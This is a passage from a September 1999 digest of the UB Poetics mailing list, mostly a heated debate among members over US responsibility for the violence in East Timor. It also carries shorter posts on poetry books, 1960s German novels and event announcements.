> other large groups of people.
>
> Until you do, I'm not writing anyone.
>
> Mike
>
> pete spence wrote:
>
> > please put this out to all mailartists for action. also send a protest
> > to:[redacted]
> > [redacted]
> > [redacted]
> > thanks pete spence
> >
> > speak up and out about East Timor. It may also be just
> > >as good
> > >and probably easier to protest the American gov't for their ongoing role
> in
> > >the slaughter and oppression of the East Timorese. It was the American
> > >Gov't. that paid for and supervised the original Indonesian invasion, and
> > >the American gov't is trying hard to escape culpability with ambiguous
> > >declarations (coming from such shits as Madeline Albright) about the

> > >chaotic
> > >and oppressive state of affairs while also trying to take any potential
> > >actions and tie them up in red tape. Such action clearly gives the
> > >Indonesian gov't has a chance to tie up power once again while everyone
> > >else
> > >takes their time designating panels and working groups. Since a visit by
> > >Kissinger, Ford, and Scowcroft to Suharto in July 1975, the Indonesian
> > >government, using mostly US-made and US-paid-for weapons and military
> > >intelligence support, has killed between 1/4 and 1/3 of the original
> > >inhabitants. That's about 200,000-300,000 people. We're talking
> > >concentration camps between 1975-1979. Paid for by US taxpayers. Certain
> > >people meant business when it all started 24 years ago; I don't think
> they
> > >mean any less harm now. If the US supported the democratic efforts of
> the
> > >East Timorese none of this probably would have happened.
> > >
> > >http://www.freetimor.com/
> > >
> > >http://www.lbbs.org/ZNETTOPnoanimation.html
> > >
> > >http://www.motherjones.com/east_timor/
> > >
> > >http://www.etan.org/
> > >
> > >regards,
> > >Patrick Herron
> > >
> > >
> > >>so what the way i see it.. maybe better protest to the
> > >indonesian government on the handling of the east timorese might be a
> > >better
> > >usage of your time; [redacted]
> > >
> > >thanks pete spence
> > >
> > >_____

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246. Lowther, John
Imagining Language
Thu 16 Sep 1999

{ p o e t i x }

i assume there must be some portion of you out there whove got this book _imagining language_ that rasula and mccaffery edited ? has anyone seen a review of anywhere ? it sits on my dining room table and as i have breakfast or lunch or dinner i open it and the food gets cool (if hot) or warm (if cold) it was expensive as hell but not inappropriately expensive i dont think ----- point is that its just fucking amazing and if you (yeah, you *general* without me knowing squat about you singular, individual) havent seen it you really ought to (again, "ought" is a bit fishy i know but once youve had some leisure with this book i think you'll agree, and if you don't it may be that we wdnt be able to communicate very effectively anyway) this is not a review i cant really imagine an adequate review jerome rothenberg cd perhaps handle it his anthologies are the only things that this book seems comparable to

)L

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247. Patrick Herron
Re: US/Aus/Indonesia/E Timor
Thu 16 Sep 1999

> *I'm just saying I'm hearing some familiar themes here.*

I don't always implicate oil companies. I've been tired of such explanations, too. But these things (E Timor, Congo, Iraq, Kosovo) are consistently about natural resources. And the US is not the only player in these arenas.

>I'll tell you emphatically that I do *not* get my news from CNN, NBC, etc. During the Kosovo crisis, e.g., I watched far more interesting French coverage
(they even interviewed a British officer).

I apologize if I insinuated that you were restricted to CNN. It's good to use foreign press, and always good to use your own noggin. And if you have inside info, that's even better.

> *First, and again, I have been hearing oil company/USGovt/etc theories to explain a wide spectrum of antisocial behaviors around the earth and I don't always buy it, and I'm not totally buying it now, IN THE CONTEXT OF the homicidal group behavior there.*

Is the model sufficient for the behavior there? No, I agree. Necessary? In the case of E. timor, maybe. Maybe, though, many people CAN be right about basic things. I do not believe that majority opinions are prima facie false. And these are hardly majority opinions.

> *Occam's Razor, the Japan/US/NBC/Chevron formal or informal infrastructure of conspiracy is not necessary to explain the rampaging militia and military.*

You can say that, but I disagree.

>Second, I become suspicious when explanations of group/national/tribe >behaviors,
esp pronounced psychotic ones on such a grand and incredibly savage scale, don't
include local culture, socio-psych, or other factors to account for them.

Sure, and you're right to become suspicious. everyone can build upon what I said, and add to the model, but to throw away what I said and replace it with a psychosocial perspective is hardly constructive.

>Surely, there is a synergy here, a harmonious convergence of psychotic
>gravities which should be noted and divulged. This harping on the US, oil
>companies, Japan, macro international political models, etc. don't serve to
>explain the
killer hysteria and frenzy.
Not completely, as in they are not sufficient, but they are necessary. Have you ever read the counterinsurgency manuals from the CIA? they employ their extensive knowedge in the areas of study you mention to reach certain ends. People do pay for and train mercenary armies, and mercenary armies that are paid for by certain groups are clearly responsible for what has transpired in the past week or so.

> *Believe me Patrick, the US Govt is far, far more stupid than malevolent.*

And again, I think you are wrong. Actually, I know this is wrong. There are people in the government much more intelligent than you or me. And they plan, they know about contingencies, it's their lives. Me, I'm just farting around on a keyboard. They often do things and call them mistakes, because it fools us into a comfortable position of superiority, albeit poorly founded.

> *I say it goes far deeper than this. These models of yours are insufficient to explain the group behavior.*

given that it would

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248. Poetics List Administration
Novels of the 60´s / Thomas Dorow
Thu 16 Sep 1999

This message came to the administrative account. Chris

---------- Forwarded Message ----------
Date: Wednesday, September 15, 1999, 1:02 AM +0200
From: My realme <[redacted]>
Subject: Novels of the 60´s

I already backchanneled this, but it seems that quite a few people are interested in novels of the sixties, so if german authors are permitted, i would like to suggest these two:

Rolf Dieter Brinkmann: Keiner weiss mehr.

Brinkmann congeniously translated Frank O´Hara´s poetry to german, was the editor of "Silver Screen" and "Acid", two compilations that first introduced

Burroughs, Bukowski, O´Hara and several others to a german audience. "Acid" was a cult when I was in my teens. Brinkmann himself mainly known for his poetry. Check out "Westward 1&2" if you come across it. His most exciting work is the journal "Rom, Blicke". I don´t know if any of his work is translated, if it isn´t, there´s a job to be done.

Hubert Fichte: Die Palette

This is the first novel to portray the gay underground in Hamburg. Fichte´s style is amazing, it was termed "new sensitivity" when he first came out with his work, but to me it appears as a combination of Doeblin´s montage techniques with elements of the nouveau roman, a very physical and psychedelic style. If you don´t know it, you should. If it isn´t translated, you should do it yourself or find somebody who will do it. Fichte left a great body of work after his death a few years ago, he is still mainly read in fan circles, but this is truly excellent stuff.

Greetings, Thomas Dorow

---------- End Forwarded Message ----------

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249. Lowther, John

listings ?

Thu 16 Sep 1999

---

contrary to what we've been told i heard a rumor that the revolution will in fact be televised but as yet the tv guide hasnt announced it and i cant find out anything more

surely someone out there knows

or know what the website is

with premiere week coming up i hope its not going to eat into friends or buffy or anything

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250. Poetics List Administration

Re: e. timor, s. korea, afghanistan, kuwait, iraq, panama, / Ike Kim

Thu 16 Sep 1999

I had to reformat this message. Please remember that HTML-formatted text should not be sent to the Poetics List. Chris

--

From: "Ike Kim" <[redacted]>
Subject: Re: e. timor, s. korea, afghanistan, kuwait, iraq, panama, grenada, puerto rico, etc.
Date: Thu, 16 Sep 1999 02:05:00 -0400

"...the US Govt is far, far more stupid than malevolent. It requires = planning and
skill to be intentionally malevolent." -Michael Neff Sept 14, 1999

Remember that old Saturday Night Live skit, where Phil Hartman plays R. = Reagan? He acts stupid and forgetful in front of the press and his = cabinet and then, when they all leave, he says "Finally, I'm alone!" = then picks up two phones, starts dialing numbers and speaking russian = and french.

It's funny stuff. Improbably, right? I mean, politicians aren't bad = people, motivated by money and the power it represents, right? They're = well meaning folks like you and me, from rich families, good schools, = proper contacts etc...

There is a definite desire NOT to believe what is happening is because = of the US. Remember the US is now the "policeman of the world" and all = that entails, incl. setting the rules of the game. otherwise, without = rules, what else is there to police? we want to think that iraq was = about saving Kurds-that's what we were told-but why were we letting them = die in the south while supposedly protecting them in the north (or vice = verse, it's too hard to keep track-my scorecard is full)? It is = acknowledged that the CIA trained kurds in the north for years before = the US decided to bomb. and they weren't learning how to build shelter = for refugees, or farm, or build industry.

it seems to me that history has proven a fair barometer to the = relationship between what is stated at times of conflict and what is = fact. war is often a time of lies. it is a key part of building defense = for a nation's defenseless activities. in smaller terms, remember the = president's council on race (did i get the name of that thing right?)? = all of these big shots went parading around the country trying to = prove/defend the position that the crisis in american society was one of = race. at each stop, the folks in the audience were pretty clear on = pointing out that economics were at hand.=20

The US gov. is having trouble defending itself in front of the world. = and they know the folks at home don't like all of these wars and all of = the fako-half truths they're given as causes/reasons. enter australia. = fodder. poor australia. they'll take some global heat for a change. = after all, they got the damned olympics (which, by the way i believe = should be held in buffalo--to revitalize the economy! more sports = stadiums=3Dbetter quality of life after all (just ask the Admin. at the = U of Buffalo)). where are the people of australia? The press (the = state?) is hawkish. here's how one paper puts it:

All dressed up, only one place to go 16sep99 The Australian=20 THEY want very badly to go. The orders are through and adrenaline is = running through the platoons. They know who among them will go in first. = They do not think in terms of the plight of East Timor - they want to be = what they have trained to be.

turn off brain. obey orders. they are well trained indeed.

--

From Reuters, via NYT:

DARWIN, Australia (Reuters) - Australia's defense force chief warned = Thursday that the U.N. mission to restore order in East Timor would be = ``tough'' and the force would take a firm stance if Indonesian forces = failed to cooperate.=20

``If we don't get the cooperation we need we will end up having to make = this a tough military operation and that will be a tough challenge, but = as I said earlier we are ready to take this challenge,'' Admiral Chris = Barrie told reporters in Darwin.=20

Barrie said the timetable for deployment of the multinational troop = force, expected this weekend, was not yet finalized.=20

``We will deliver on this mission, so let there be no doubt,'' said = Barrie, referring to the U.N. mandate to use ``all necessary measures'' = to stop an orgy of killing by pro-Indonesia militia in East Timor.=20

--

one gets the sense that the refugees are secondary now. indonesia, here = we come! we will fix you and then give you back to you, properly cleaned = up and functional-just put this guy, no this guy, in power and we'll = give ya tons of cash. wink. wink. until we don't like him, that is. = wink. kiss. hug. shake.

Because we don't believe something is possible is not enough reason for = its dismissal. Conspiracy Theory has been thrown around to circumvent = the discussion of what forces motivate and enact events. JFK is a good = example. and it is quite evident that this line of propaganda (i think = Conspiracy Theory is now an actual field of study at most public = universities!) has succeeding in removing = discussion/analysis/identification of phenomena from our society. after = all, without identification there is little chance that action will be = informed, will succeed. we know that the auto industry went city to city = and sold cheap busses if the cities agreed to lose the trolleys, they = pushed for massive road building, etc. there are plenty of things to = learn from history. we don't have any more time to learn from history! = it is happening around us every moment.

It is fact that indonesia is a strategic location for the movement of = capital, commerce, goods, etc to/from the far east. even npr admits it. = does this have a role in why the US (UN?) is so interested in the area? = stabilization, as a policy for global intervention, proposes that = unbalanced things shall be balanced. who/what's on the see-saw?

The NSA creates an annual "Top Ten" list in which they identify "problem = areas" or "threats." Past and present favorites include Iraq, N. Korea, = Cuba, China, Iran. It's like a to-do list!

we'd like to think that there is a mess of local political stuff going = on in the sublayers of the why-this-is-happening, and there may be some, = but this is another one of those "you will never understand what is = going on and leave it to the experts; here, read this _everything for = dummies_ book while you sit quietly" diversions. like Yugoslavia and the = appearance of strange ancient texts in the forefront of discussion. this = all after the opinion polls proved the more simple, but somewhat dulled, = line of saving refugees went south (well, since we blew up the busses = filled with those we were "helping"). is my timeline messed up? the = point is the same.

anyway, 'spontaneous' psychotic group behavior is a reflection of/ = reaction to the state of a society, or the state of the people of a = state. Chicago 1968. Black Panthers. AIM. Born of nothing? the best = thing for the world is to fix america-ground up. that would ease a lot = of suffering. ours included.

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251. Poetics List Administration

Montreal and Oslo URLs - Nekyia, Hyde/Sumner / Sumner

Thu 16 Sep 1999

---

had to reformat. Chris

--

Date: Thu, 16 Sep 1999 12:37:53 +0800
Subject: Montreal and Oslo URLs - Nekyia, Hyde/Sumner
From: "Alaric Sumner" <[redacted]>

Nekyia (speaker, singer, electroacoustics, projected video) Joseph Hyde and Alaric Sumner

Montreal: 21 September
Champlibre: 4. Manifestation Internationales Vid=E9o et Art Electronique (September 20-27, 1999)
<http://www.hascoll.dk/videofestivals/FestivalsData/0104.htm> or
<http://www.champlibre.com/> (under construction (16 Sept 99))

Nekyia study (speaker, electroacoustics)
Oslo: 9 October, 12 noon
Ultima Festival of Contemporary Music
<http://www.ultima.no/format.htm#9>

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252. Karen Kelley
Eliot Weinberger/Dan Featherston/Cydney Chadwick
Thu 16 Sep 1999

Thanks to all who sent snail mails to me.

I'm still looking for addresses for Eliot / Dan / Cydney, so if anyone out there has them, I'd appreciate a backchannel.

Karen

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253. Poetics List Administration
alternative irish poetry distribution / Mills
Thu 16 Sep 1999

---

had to reformat. Chris

--

From: "Mills, Billy" <[redacted]>
Subject: FW: alternative irish poetry distribution
Date: Thu, 16 Sep 1999 13:35:55 +0100

> *Hi*
>
> *If anyone's interested, the latest version of our distribution list is ready, and I can mail it to you as an attachment, or post it to you on real paper, in a real envelope, to a real address.*
>
> *Billy*
>
> *hardPressed poetry*
>
> *Alternative Irish poetry publishing and distribution*
>
> *1 Greenview Court*
> *The Fairways*
> *Monaleen Road*
> *Castletroy*
> *Co. Limerick*
> *Ireland*

> *(00 353 61) 33 54 93*
>
> [redacted] *<mailto:*[redacted>

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254. Mark Prejsnar
the timid and Timor
Thu 16 Sep 1999

i find Joan Houlihan's post a little odd. Why do we need to emphasize the fact that *some* aspects of the E. Timor situation are random? Why is this important, or helpful? I am reminded of the old sawhorse phrase from my college philosophy courses: "true but trivial."

However, the various ways in which US foreign policy *is* implicated in that situation, are *not* trivial. Or so i would argue...

And just to tie this back in with the primary focus of this listserv, i would point out again that it took years of very hard effort by Chomsky and others, pointing out the corruption and deliberate misuse of language by the US government/media nexus, to force those with power and influence in the US to acknowledge some hard truths about the E. Timor situation...

The several people who are crying out so loudly on this list, that the US bears little or no responsibility, have NOT studied the available sources on what happened there and why...

--mark

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255. Mark Prejsnar
bunting for a base hit...
Thu 16 Sep 1999

Was he there after 1946??? i thought he was only active in intelligence during the bigee (WWII), working against the nasty axis...

But of course maybe that's only what i *wanted* to believe...

On Thu, 16 Sep 1999, John Tranter wrote:

> *I'm not trying to deflect the worthwhile political drift of the List here, but I've always wondered just what Basil Bunting was doing in Iran as a British spy.*

> *My Hutchinson Encyclopeda says:*
>
> *"During World War II, Iran was occupied by British, US, and Soviet troops until 1946. Anti-British and anti-American feeling grew and in 1951 the newly elected prime minister, Dr Muhammad Mossadeq, obtained legislative approval for the nationalilzation of Iran's largely foreign-owned petroleum industry. With US connivance, he was deposed in a 1953 coup and the dispute over nationalisation was settled the following year when oil-drilling concessions were granted to a consortium of eight companies. "*
>
> *Basil?*
>
> *Basil?*
>
> *-- John Tranter, editor, Jacket magazine*
>
> *from*
> *John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia*
> *tel (*[redacted] *fax (*[redacted]
> *Editor, Jacket magazine: http://www.jacket.zip.com.au/welcome.html*
> *Homepage: five megabytes of glittering literature, free, at*
> *http://www.alm.aust.com/~tranterj/index.html*

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256. Michael Neff
The First Church of J'Accuse The American Satan
Thu 16 Sep 1999

Below is a post to another list.
(Note: I am the one guilty of pompous and barbaric posts to *this* list.)

Also, note this excerpt:

"anyone familiar with the history of american adventurism in southeast asia over the past 50 years will automatically assume that whatever happens has happened with the knowledge of the US."

I have no doubt of this, knowledge of the US. Well, no kidding. It again misses the point I've been trying to make all along. Rather, fellows like this invent points I never made and then argue with me over them. They have no choice. How can they maintain that the factors I introduce or models I suggest cannot exist?

I can't help but perceive that what all this brouhaha and blathering boils down to is this: a lack of strong condemnation and blame vis-a-vis any object/person/

policy/organization American, on the part of anyone posting, and one risks on-going misunderstanding at best, virulent attacks at worst. It isn't enough to admit America plays a role, one must affirm that all evil derives from it. This mindset demands America must have total responsibility or none. They are no grey zones, no additional factors, or competing or alternative ways to explain violent events in other nations. The First Church of J'Accuse The American Satan must triumph and seek to quickly and fiercely quell heretics.

No doubt the faithful will rise from their pews and pitchfork themselves into a mob, but so be it.

[redacted] wrote:

> *I was also outraged at the fellow on the other list for his pompous, and therefore barbaric posts, and have had several backchannel exchanges with him, which have not been fruitful, and which have deteriorated into threats (him) and snide remarks (me). not an ideal way to go about a dialectic, but then the ideal is frequently allusive. to excuse complicity just because it's not direct (who's supplying the machetes, for example) is to become complicit oneself, just as to deny the efficacy of material one hasn't read makes one complicit. einstein once referred to nationalism as the measles of mankind, which seems to me to be right on the money. it's hard to understand how anyone who considers themselves politically aware could demand (as this fellow does) that one provide overwhelming proof that the most powerful nation in the world is not going ruthlessly about what it perceives to be in its national interest (first and foremost the preservation of regimes friendly to exploitation of markets), when history shows us, as I've said, that such ruthlessness is the standard operating procedure. anyone familiar with the history of american adventurism in southeast asia over the past 50 years will automatically assume that whatever happens has happened with the knowledge of the US. if there is any doubt of this regarding East Timor, one need only to look at the hemming and hawing of official america to see where it's real support lies.*
>
> *I think, by the way, that the responses by many on the buffalo poetics list (which I've frequently criticized) have been first rate, and if anyone's interested, I'll post a few of them to this list.*
>
> *joe....*

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257. **Michael Neff**

Re: US/Aus/Indonesia/E Timor

Thu 16 Sep 1999

> *Believe me Patrick, the US Govt is far, far more stupid than malevolent.*

> *And again, I think you are wrong. Actually, I know this is wrong. There are people in the government much more intelligent than you or me. And they plan, they know about contingencies, it's their lives. Me, I'm just farting around on a keyboard. They often do things and call them mistakes, because it fools us into a comfortable position of superiority, albeit poorly founded.*

Oh, no no no, a thousand times no, they are NOT more intelligent than you, or me! Do you think your govt (whatever that really means, NSA? CIA? Congress? West Wing White House) is composed of Zarathustrian supermen? This is one of the key factors to accepting such theories. I happen to know CIA, e.g., exhibits all the characteristics of a dumb bureaucracy living in a denial culture. Bureaucrats in CIA even hide things from each other. The behaviors are astonishing and hysterical. How else to explain the Ames spying success and being caught unawares when communism fell in eastern europe.

Agencies fight with each other for control constantly, bureau chiefs fight, their is continuous turmoil and upheaval with these stratifications.

But I don't expect you to accept this on face value.

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258. Mark Weiss
Re: US/Aus/Indonesia/E Timor
Thu 16 Sep 1999

Michael: is your point that there's evil in the world? Sure thing, but a conversation-stopper, and not particularly useful as a political statement. Once granted, what's left to discuss but other influences on the eruption in progress?

Here's a question: suppose that FDR, instead of deciding about Nicaragua's Samosa that "he's a sonofabitch, but he's our sonofabitch," had decided to make Sandino our vote for a sustainable regime. Suppose, more broadly, he and his successors had decided that it didn't much matter who sold us bananas, the supposed communist threat to US interests (read: United Fruit Company) was a lot less destabilizing than the hypermilitarization of an entire region that previously had barely managed to support a police force.

There's never a shortage of intergroup hostilities, and there's never a shortage of sociopaths to exploit them, but they're born that way--some responsibility has to be placed in the hands of those who create the structures that allow the damage to play out at large.

At 08:30 PM 9/15/99 -0400, you wrote:
>Christina Milletti wrote:
>
>> In a message dated 9/15/99 9:06:20 PM !!!First Boot!!!,

[redacted]
>> writes:
>>
>> << I don't believe that either Patrick, I just think your explanations are
>> formula
>> in some respects and inadequate to explain the condition of group killing
>> psychosis. >>
>>
>> Why must it be reduced to group psychosis? The murdering gangs are paid.
>> They don't kill, they don't eat. Talk about Occam's razor.
>
>Why? Why indeed? I should have realized there must be a considerable
sense of
>job well done when they have earned their pay. I'm certain they would never
>stoop to disemboweling unless paid to do so! This is all absorbing to me.
>Since you are keenly aware of the mechanisms in place, no doubt having first
>hand knowledge, I suppose you can reveal whether they are paid by the hour
or by
>the body or head?
>
>If they are working for the NSA they deserve a retirement package.
>
>Course, if they're rampaging as humans are inclined to do from time to time,
>then how can it be the fault of US? It therefore stands to reason they
must be
>paid.
>
>

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259. **Taylor Brady**
Re: I can't believe it!!!
Thu 16 Sep 1999

Ms. Houlihan,

I'm aware that this will break my resolve to respond no more, but there's at least one fairly serious misrepresentation of the record and one fairly well-implied personal attack in this. Both, I think, merit an answer.

First, the misrepresentation. Mr. Neff's point has not been, to date, "simply the suggestion that the US government (and whatever else we conceive that entity to be,it is still a collection of people with limitations) may not be wholly

responsible for what's happening in East Timor." Nor has my point been that the US _is_ solely culpable. Ample mention has been made of the role of the Indonesian military, Japan, Australia. More might be said about Great Britain, and the corporate interests that are, while headquartered mainly in the US, largely independent of any real national governance. For evidence of Mr. Neff's real "point", I attach the following quote from his opening missive on this thread:

"I'm listening. Perhaps you can educate me, flow chart me, graph me, time line me on just how Kissinger, or Clinton or Nixon or Ford or LaRouche or Moynihan or Chuck Rob or whoever in any conspiratorial setting, ignited and guided the genocidal gene that compels large groups of people to willfully set fires to other large groups of people.

Until you do, I'm not writing anyone."

What emerges from this line of argument is 1) a denial of ANY U.S. role (a far cry from denying full responsibility); and 2) a denial of the effectivity of any U.S. action (pressure on elected and unelected officials to stop pursuing some particular policy or other) in the present situation. One remembers that the post to which he responded was a call for protest and petition. In effect, what he is doing in the above quote is denying that the US government is the proper target for any such protest, as well as denying that such a protest could have any effect.

And for my part, I've never claimed that the US held sole responsibility for atrocities in East Timor over the past twenty-five years. My claim was, rather, that those atrocities could not have happened without U.S. involvement - that such involvement was, in brief, a necessary rather than a sufficient condition. The Indonesian regime since Suharto's rise to power has been a creature of the US military and intelligence "community." This history is well-documented and available for the perusal of skeptical parties. (Unless one takes seriously the desperate ideological retreat into "empiricist" metaphysics - do you really want to claim, in an E-MAIL correspondence, that you only believe in what's before your eyes?). For recent evidence of this dependent attachment, witness the Habibie government's quick decision to allow international troops in as soon as Clinton's rather weakly-worded "temporary suspension" of aid was announced.

In other words, in reply to Mr. Neff's most recent questioning whether "dictators and police squads and fanatics forgo hostilities as soon as the UN wags a finger at them," I would point out that Indonesia has always (at least since '65) done exactly that when it's been a question of the _US_ doing the wagging. Indonesia as currently ruled is a client state of the US, Great Britain, and Japan, pure and simple. And despite Mr. Neff's ideological scare tactics in introducing the "world's policeman" threat, this client relationship exists in such a form that, for long-term changes to become effective, what's probably most needed is

a cessation of US involvement, rather than a new "commitment of troops" or some such. Our support - precisely - of police tactics up to this point has been the very problem. A lot could be accomplished if our government would simply stop - permanently - doing the criminal things it's been doing in that region. In fact, it would be best for all concerned if any international force sent in for the short term to stop the killings included _no_ US, British, or Australian troops. That this is unlikely to happen is further evidence, to me, that whatever steps are currently being taken are more by way of protecting the bankability of an investment than a commitment to national self-determination and political freedoms.

Of course, groups of people have always killed other groups of people. And groups of people have always resisted and spoken out - that's part of what, in my sense of a humanly-liveable world, one understands by the word "history." It's a "made place," to bring in Robert Duncan for a moment. People can act to make it differently, and this despite the red-baiting invective of Mr. Neff's latest. I readily grant that such atrocities have happened under all kinds of conditions and in all kinds of places. My question is, by the same sort of "Occam's Razor" method proposed by Mr. Neff, whether we might be a bit concerned about the statistical preponderance of US investment capital, weapons, and military advisors at the scene of such atrocities during the last fifty years - whether in fact we might examine the verifiable historical record, rather than raise the spectre of some sort of genetic predisposition to murder, and attempt to account for the reasons why the US government has tended to be, in the post-war period "a collection of individuals" whose "limitations" include a pronounced taste for military dictatorship in the so-called Third World. Yes, other people (in this case Indonesians and conscript Timorese) do the killing. One of the privileges of capital is that it affords you the opportunity to contract out such unpleasant "work." And even if we agree that humans as individuals have a certain predilection for evil, we still have to explain why in some cases resources are marshalled to allow that predilection its full "expression," and where those resources come from.

My second concern in reading your posting is the accusation of "intolerance" hurled against those who have disagreed with Mr. Neff - an accusation made personal by the address of that posting to me. Let me state simply that it angers and saddens me to see disagreement labeled thus as intolerance. I thought we were having an argument. Apparently I was abridging someone's freedom.

You identify yourself as a "liberal" - and that might well be the root of our disagreement on the geopolitical side of things. I've come to believe strongly that American liberalism is a thoroughly inadequate response, not only to the problems of international capital and its involvement in the crushing of independence movements, but even to the day-to-day "domestic" political concerns we

all face as citizens, of whatever civic entity in which we participate. So our differing political perspectives lead us to disagree. But in the elaboration of that disagreement, your efforts to attenuate the space of public discourse by casting argument as domination are wholly unworthy, not only of the weight of the argument itself, but even of the "liberal" traditions you bring to it.

Taylor Brady

P.S. A final response to a message just in, this one from Mr. Neff, containing word of a different sort of intolerance:

"As far as accepting on face value what conspiracy theorists say relative to blaming America for the many years of pogrom-like rages and methodical brutality, that proves impossible, for given the level of fanaticism as evidenced by backchannel communications to me laced with scathing insults and generally embittered ego mania (e.g., I'm a lazy ass idiot, ugly mouthed, an embarassment, neanderthal, and equal to a state dept hack)--and all erupting on me in quite sudden and uncalled for fashion-one cannot help but conclude that like true zealots, these maze-brained individuals will only seek out and report on those sources of information most likely to confirm their viewpoint."

For the record, I have never participated in any back-channel communication with Mr. Neff. I have no desire to do so, and, while I understand the urge that might have prompted some of the e-mails he alleges, it's hardly a fair tactic - if anyone is listening, I'd urge people to lay off. For Mr. Neff, I'd simply point out that you'll have to disarticulate your critique from your sense of those who disagree with you as "true zealots, these maze-brained individuals," since that description is founded on the evidence of behavior in which at least one of "us" - and a fairly vocal one - has consistently refused to participate.

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Joan Houlihan
Sent: Wednesday, September 15, 1999 4:44 PM
To: [redacted]
Subject: Re: I can't believe it!!!

Taylor,

Of all the responses to Mike Neff's e-mail, yours seem to be the best examples of a logic constructed partly on the idea that because events occur together in time, the events are somehow linked causally, and partly on the idea that events which you do not personally witness, or have any special knowledge of, are nonetheless events that you can interpret not only correctly, but also "righteously"--that is, you are able to divine the motivations and moral construction

of all those involved, from the beginning of the forced annexation of East Timor to its bloody fight for independence.

It's quite amazing to me, a liberal, to see the kind of reaction generated by a clearly written, well-reasoned message (Neff's). What has created this firestorm? Simply the suggestion that the US government (and whatever else we conceive that entity to be,it is still a collection of people with limitations) may not be wholly responsible for what's happening in East Timor. I don't see that Mike Neff was disputing any historical facts, or events leading up to what's happening there--only that he was questioning the idea that these successive events *had* to be linked to either a kind of evil intentionality, or an immoral turning away by the US government. He was instead, and rightly I think, proposing the idea that deeper, and even random, forces are also at work in these situations--not only, but also. That we need to consider the constant recurrence of group hatreds, killings, the human prediliciton for wiping each other out. Nowhere was he suggesting that arms were *not* sold, that US interests were *not* pursued, or that the US often gets behind what turn out to be (or always were) rotten leaders/causes--sometimes in the interest of avoiding worse leaders/causes, or more likely, for simple economic or ideologic reasons.

Now that I've seen what comes back from this "radical" idea that the US government may not be the God we can blame, I'm astonished not only by the list's intolerance, but also by the realization that so many liberals have given up their ability to analyze and respond to a clear idea objectively, for the more comfortable idea that there's always clearly someone to blame--if not God, then the government.

Joan

> *From: Taylor Brady <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: I can't believe it!!!*
> *Date: Tue, 14 Sep 1999 09:53:14 -0700*
>
> *A few points:*
>
> *1) Kissinger's "visit" was considerably more instrumental than the "chat-and-tea" image might otherwise conjure one to believe. It was rather, the U.S. State Department's imprimatur and guarantee of military assistance to a regime embarked on a series of "policy initiatives" which included, most notably, a) the slaughter and forced relocation of much of its own peasantry, labor leaders and movement members, intellectuals, etc., in the name of a defense against communism; and b) the invasion and annexation of Timor, resulting in a brutal occupation which left nearly a quarter of a million dead. This, while the U.S. (among others - recently, the role of Japan and Australia would also bear some scrutiny) continued (and*

continues,
notwithstanding Clinton's half-assed "retraction of assistance") to provide the proverbial "military, technical and economic aid" to the Indonesian regime. This isn't a matter of having bought arms years ago, but one of receiving - until this week, and that only if Clinton's retraction is to taken at face value - ongoing direct support from the U.S. and other armaments-producing nations. Thus, while the machetes might be a domestic industry in Indonesia, the rifles, troop transport vehicles, paramilitary training, etc., most certainly are not. This aid has been continued under recent administrations with the rationalization that it's the Indonesian military itself that can be counted on to bring the militias back into line.
For the sheer ridiculousness of this claim, if one still needs it substantiated, one might turn to Alan Nairn's recent reports on Pacifica Radio, detailing the intimate relationship between the army and the militias. But other sources are many and well-documented. If you have web access, you might take a look at the East Timor Action Network's web site: www.etan.org
2) The above would seem to have some bearing on your assertion that East Timor is attempting to "secede" from a legitimate national government - which is simply not the case. East Timor, as an Indonesian territory, is the
result of a forcible annexation sponsored by U.S. and other interests. Many of the key figures in the initial "sponsorship" remain in positions of power
today. In other words, this is about as far from a quixotic attempt to rectify a distant and tragic "other-people's" history as you can get.
3) You ask: "We turned the other way on Savac we see now (sp?) in Iran, though our intelligence knew they were out of control, but did we do the same in Indonesia? And if we did, does this really account for the murdering we see now?" Yes. Absolutely. As I've pointed out, this isn't simply a case of turning the other way, but a direct outgrowth of deliberate
policies of military and economic support pursued by the U.S., Japan and other militarized nations. And although the point has now been reached at which the killings more than likely cannot be stopped without some sort of direct intervention, the extreme probability was, until quite recently, that
the Indonesian regime simply could not have pursued its policies of aggression without the direct support of the U.S. and its allies - that, in other words, the annexation itself would have been unfeasible and unsustainable without that aid. Until very recently, a cut-off of such support might have sufficed to avert the campaign of terror now being pursued. There is no "genocidal gene" - and such pseudo-explanations ("they're just nuts _over there_, who can understand their motivations?"), I'd warrant, most often mark the site of a real and determinate chain of events, the complicity of one's own nation in which is precisely what the resort to racialized typologies attempts to obscure.

-----Original Message-----
From: UB Poetics discussion group
[mailto:[redacted]]
On Behalf Of Michael Neff
Sent: Monday, September 13, 1999 10:15 AM
To: [redacted]
Subject: Re: I can't believe it!!!

Pete,

Before I write anyone, help me here, if you can. I'm not following this line of accusation. I need to be clear.

Since we've had involvement in Indonesia, it must be our fault that the Indonesian army and brother gangs are slaughtering people in churches, hacking them machetes? Did they get the machetes from America too? I suppose if their govt hadn't bought arms from us years ago then all would be peaceful? This sounds naive to the point of absurdity.

I see no connection with what you are saying and the psychotic rampage fest going on in Timor. You've noted that Kissinger, etc, visited Timor and then the slaughters began. Is there an association here? If so, can you link it for me? I don't see it from what you are saying.

Must we blame the American gov for it, are we compelled? There are those who believe the US govt manufactures tornadoes to chase them around and wreck their barns. I don't believe that either, but thousands are convinced.

And why should the US support Timor seceding when we didn't support South Carolina, and certainly don't support Quebec? Also, plenty of money we send overseas, in one form or another, gets redirected and wasted. Witness the diversion of funds by Russian mafia. We turned the other way on Savac (sp?) in Iran, though our intelligence knew they were out of control, but did we do the same in Indonesia? And if we did, does this really account for the murdering we see now?

I'm listening. Perhaps you can educate me, flow chart me, graph me, time line
me on just how Kissinger, or Clinton or Nixon or Ford or LaRouche or Moynihan or
Chuck Rob or whoever in any conspiratorial setting, ignited and guided the
genocidal gene that compels large groups of people to willfully set fires to
other large groups of people.

Until you do, I'm not writing anyone.

Mike

pete spence wrote:

please put this out to all mailartists for action. also send a protest
to:[redacted]
thanks pete spence

speak up and out about East Timor. It may also be just as good
and probably easier to protest the American gov't for their ongoing role in
the slaughter and oppression of the East Timorese. It was the American
Gov't. that paid for and supervised the original Indonesian invasion, and
the American gov't is trying hard to escape culpability with ambiguous
declarations (coming from such shits as Madeline Albright) about the chaotic
and oppressive state of affairs while also trying to take any potential
actions and tie them up in red tape. Such action clearly gives the
Indonesian gov't has a chance to tie up power once again while everyone else
takes their time designating panels and working groups. Since a visit by
